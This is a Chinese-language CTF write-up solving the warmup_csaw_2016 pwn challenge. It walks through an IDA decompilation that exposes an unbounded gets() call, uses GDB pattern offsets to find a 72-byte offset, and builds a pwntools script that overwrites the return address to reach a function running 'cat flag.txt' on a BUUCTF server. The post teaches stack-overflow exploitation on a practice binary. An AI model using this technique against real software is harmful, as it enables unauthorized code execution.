网络安全CTFPwn学习通过直接刷题逆向学习pwn:warmup_csaw_2016题解(栈溢出变种实战)
Xiaozhi_z
如果没有看过上篇文章可以先看简单的栈溢出(里面会有更加详细的解释,本篇默认略过重复的定义):https://blog.x-z-z.com/article/2025-09-25-17-35
查看文件详情
先使用checksec 查看文件是否有保护
1
| checksec --file=warmup_csaw_2016
|
发现没有保护开启,这意味着:
- 没有Canary:可以直接栈溢出,没有金丝雀保护
- 没有NX:栈上的代码可以执行(不过本题用不到)
- 没有PIE:代码段的地址是固定的,我们可以硬编码地址
查看文件的格式(方便打开对应版本的IDA)

上方显示是64bit 使用IDA64打开

IDA分析
按F5进入伪代码 代码如下
1 2 3 4 5 6 7 8 9 10 11 12
| __int64 __fastcall main(int a1, char **a2, char **a3) { char s[64]; // [rsp+0h] [rbp-80h] BYREF char v5[64]; // [rsp+40h] [rbp-40h] BYREF
write(1, "-Warm Up-\n", 0xAuLL); write(1, "WOW:", 4uLL); sprintf(s, "%p\n", sub_40060D); write(1, s, 9uLL); write(1, ">", 1uLL); return gets(v5); }
|
简单的将代码进行解释一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| __int64 __fastcall main(int a1, char **a2, char **a3) { char s[64]; // [rsp+0h] [rbp-80h] BYREF char v5[64]; // [rsp+40h] [rbp-40h] BYREF
// 输出字符串 "-Warm Up-\n" 共10个字符(包含换行符) write(1, "-Warm Up-\n", 0xAuLL); // 输出字符串 "WOW:" 共4个字符 write(1, "WOW:", 4uLL); // 将函数 sub_40060D 的地址格式化为十六进制字符串存入 s 数组 sprintf(s, "%p\n", sub_40060D); // 输出 s 中的内容(函数地址),共9个字符(包括换行符) write(1, s, 9uLL); // 输出提示符 ">" write(1, ">", 1uLL); // 从标准输入读取数据到 v5 数组(存在缓冲区溢出漏洞) return gets(v5); }
|
关键点分析:
- 栈布局:
s[64]
位于 [rbp-80h]
到 [rbp-40h]
v5[64]
位于 [rbp-40h]
到 [rbp]
- 漏洞点:
- 使用
gets(v5)
读取输入,没有长度限制
- 如果输入超过 64 字节,会覆盖栈上的返回地址
- 信息泄露:
- 程序打印了
sub_40060D
函数的地址
- 这可能是目标函数,攻击者可以利用这个地址来绕过 ASLR
- 攻击思路:
- 通过缓冲区溢出覆盖返回地址
- 跳转到
sub_40060D
函数(地址已泄露)
- 或者构造 ROP chain 来获取 shell
按shift+F12进行字符串查询 虽然没有直接找到shell 但是找到cat flag对应的字符串

点击进去右键flag.txt 点击“Xrefs graph to” 发现是sub_40060D函数引用

在主界面点击sub_40060D

找到头地址为 0x40060D(在IDA中,地址默认用纯数字显示 IDA隐含是十六进制,为了让之后的Python理解前面要加”0x”代表十六进制)
现在找到flag的内存地址也找到了对应的gets函数可以构成栈溢出

程序正常执行流程
为了更加直观理解写出的程序大概运行逻辑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 开始执行程序 ↓ 正常打印信息(包括目标地址0x40060D) ↓ 执行到gets(v5)等待输入 ← 攻击入口点! ↓ 我们发送payload: [64个A填充v5] + [8个B覆盖rbp] + [p64(0x40060D)] ↓ gets()无脑写入,覆盖栈上的返回地址 ↓ main函数执行return准备返回 ↓ 从栈上弹出返回地址,但弹出的是我们覆盖的0x40060D ↓ 程序跳转到0x40060D(sub_40060D函数) ↓ 执行system("cat flag.txt") ← 攻击成功! ↓ 显示flag内容
|
攻击执行流程
这里是溢出视角(我第一篇的时候咋想不到这么理解,被自己蠢到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| 开始执行程序 ↓ 正常打印信息(包括目标地址0x40060D) ↓ 执行到gets(v5)等待输入 ← 攻击入口点! ↓ 我们发送payload: [64个A填充v5] + [8个B覆盖rbp] + [p64(0x40060D)] ↓ gets()无脑写入,覆盖栈上的返回地址 ↓ main函数执行return准备返回 ↓ 从栈上弹出返回地址,但弹出的是我们覆盖的0x40060D ↓ 程序跳转到0x40060D(sub_40060D函数) ↓ 执行system("cat flag.txt") ← 攻击成功! ↓ 显示flag内容
|
GDB动态调试分析
使用动态调试来直观看出偏移量(这里和上篇文章基本一致)
启动GDB运行对应程序
生成测试模式字符串

1 2
| gdb-peda$ pattern create 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
|
在GDB中运行程序
1 2 3 4 5
| gdb-peda$ run Starting program: /path/to/warmup_csaw_2016 -Warm Up- WOW:0x40060d >
|
程序暂停在gets()
函数,等待我们输入

将模式字符串发送给程序
1
| AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
|
程序崩溃,GDB回显
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44
| >AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe130 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RBX: 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016") RCX: 0x7ffff7f9f8e0 --> 0xfbad2288 RDX: 0x0 RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x7ffff7fa17c0 --> 0x0 RBP: 0x4141334141644141 ('AAdAA3AA') RSP: 0x7fffffffe178 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") RIP: 0x4006a4 (ret) R8 : 0x602305 --> 0x0 R9 : 0x0 R10: 0x0 R11: 0x202 R12: 0x0 R13: 0x7fffffffe298 --> 0x7fffffffe55f ("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/games:/usr/games:/root/.local/bin") R14: 0x7ffff7ffd000 --> 0x7ffff7ffe310 --> 0x0 R15: 0x0 EFLAGS: 0x10202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400699: mov eax,0x0 0x40069e: call 0x400500 <gets@plt> 0x4006a3: leave => 0x4006a4: ret 0x4006a5: cs nop WORD PTR [rax+rax*1+0x0] 0x4006af: nop 0x4006b0: push r15 0x4006b2: mov r15d,edi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe178 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL") 0008| 0x7fffffffe180 ("AJAAfAA5AAKAAgAA6AAL") 0016| 0x7fffffffe188 ("AAKAAgAA6AAL") 0024| 0x7fffffffe190 --> 0x4c414136 ('6AAL') 0032| 0x7fffffffe198 --> 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016") 0040| 0x7fffffffe1a0 --> 0x7fffffffe288 --> 0x7fffffffe536 ("/home/xiaozhi_z/Desktop/warmup_csaw_2016") 0048| 0x7fffffffe1a8 --> 0x2377246a6e15c193 0056| 0x7fffffffe1b0 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x00000000004006a4 in ?? ()
|
查看RBP的值

1 2
| gdb-peda$ info registers rbp rbp 0x4141334141644141 0x4141334141644141
|
使用pattern offset计算RBP的偏移量
RBP在偏移量64处被覆盖,偏移量为64
1
| pattern offset 0x4141334141644141
|

得到偏移量了!RBP大小也知道是8(64位情况下)了,可以准备编写payload辣!
架构 |
RBP大小 |
说明 |
64位 |
8字节 |
寄存器是64位的,所以RBP占用8字节 |
32位 |
4字节 |
寄存器是32位的,所以EBP占用4字节 |
编写Payload
可以参考上一篇Pwn学习的Payload
地址:https://blog.x-z-z.com/article/2025-09-25-17-35
上一篇的payload
1 2 3 4 5
| from pwn import *
p = remote('node5.buuoj.cn', 26833) p.sendline(b'a' * 15 + p64(0x401186)) p.interactive()
|
这里的偏移值为64,RBP大小为8,需要跳转到的地址为0x40060D
简单修改一下脚本,将对应的值填入就好啦(记得把远端地址改成对应的!)
1 2 3 4 5
| from pwn import *
p = remote('node5.buuoj.cn', 26833) p.sendline(b'a' * (64+8) + p64(0x40060D)) p.interactive()
|
简单跑一下,得到flag!
别的不说打CTF真好玩(

代码详细讲解
如果没有Python基础的情况下可以简单看一看(也可以学习我成为AI战神(bushi
1 2 3 4 5 6 7 8 9 10
| from pwn import *
# 连接远程CTF服务器 p = remote('node5.buuoj.cn', 26833)
# 构造payload:填充缓冲区 + 覆盖RBP + 覆盖返回地址 p.sendline(b'a' * (64+8) + p64(0x40060D))
#进入交互模式获取flag p.interactive()
|
第1行:导入库
作用:导入pwntools库,这是Python中最流行的CTF pwn工具库。
详细说明:
pwn
库提供了连接远程服务器、本地进程操作、数据打包、ROP链构建等功能
*
表示导入所有功能,这样我们可以直接使用 remote()
, p64()
等函数
第2行:建立连接
1
| p = remote('node5.buuoj.cn', 26833)
|
作用:连接到CTF题目服务器。
参数说明:
'node5.buuoj.cn'
:目标服务器的域名或IP地址
26833
:端口号,每个CTF题目有唯一的端口
p
:连接对象,后续所有操作都通过这个对象进行
底层原理:
- 实际上创建了一个TCP socket连接
- 类似于在命令行执行
nc node5.buuoj.cn 26833
第3行:构造payload
1
| p.sendline(b'a' * (64+8) + p64(0x40060D))
|
这是最核心的一行代码,让我们分解来看:
第一部分:b'a' \* (64 + 8)
作用:填充栈空间直到返回地址之前。
为什么是72?
64
:v5
缓冲区的大小
8
:覆盖保存的RBP寄存器(64位系统)
64 + 8 = 72
:到达返回地址的精确偏移量
为什么用 b'a'
?
b
前缀表示字节字符串(bytes)
'a'
的ASCII码是 0x61
,可以是任意字符
- 使用可打印字符便于调试
第二部分:p64(0x40060D)
1
| p64(0x40060D) # 将地址打包成8字节的小端序格式
|
作用:将目标地址打包成适合覆盖返回地址的格式。
p64()
函数详解:
- 功能:将64位整数打包成8字节的字节串
- 处理字节序:x86/x64架构使用小端序(Little Endian)
- 示例:
p64(0x40060D)
→ b'\x0d\x06\x40\x00\x00\x00\x00\x00'
小端序原理:
1 2 3
| 原始地址:0x40060D 十六进制:00 00 00 00 00 40 06 0D 小端序: 0D 06 40 00 00 00 00 00 (低位在前)
|
第4行:交互模式
作用:将控制权交给用户,与获取的shell进行交互。
为什么需要这个?
- 攻击成功后,程序跳转到
system("cat flag.txt")
- 这个命令的执行结果需要我们手动接收和查看
interactive()
让我们可以像使用shell一样输入命令
完整的攻击流程时序图
1 2 3 4 5 6 7 8 9 10 11 12
| 攻击者机器 CTF服务器 目标程序 | | | |--- remote() ---->| | | |--- 启动程序 ---->| | |<-- 打印信息 ----| |<-- recv() -------| | |--- sendline() -->| | | |--- gets() ------>| | |<- 栈溢出覆盖 ----| | |--- 跳转 -------->| | |<-- cat flag ----| |<-- 交互模式 -----| |
|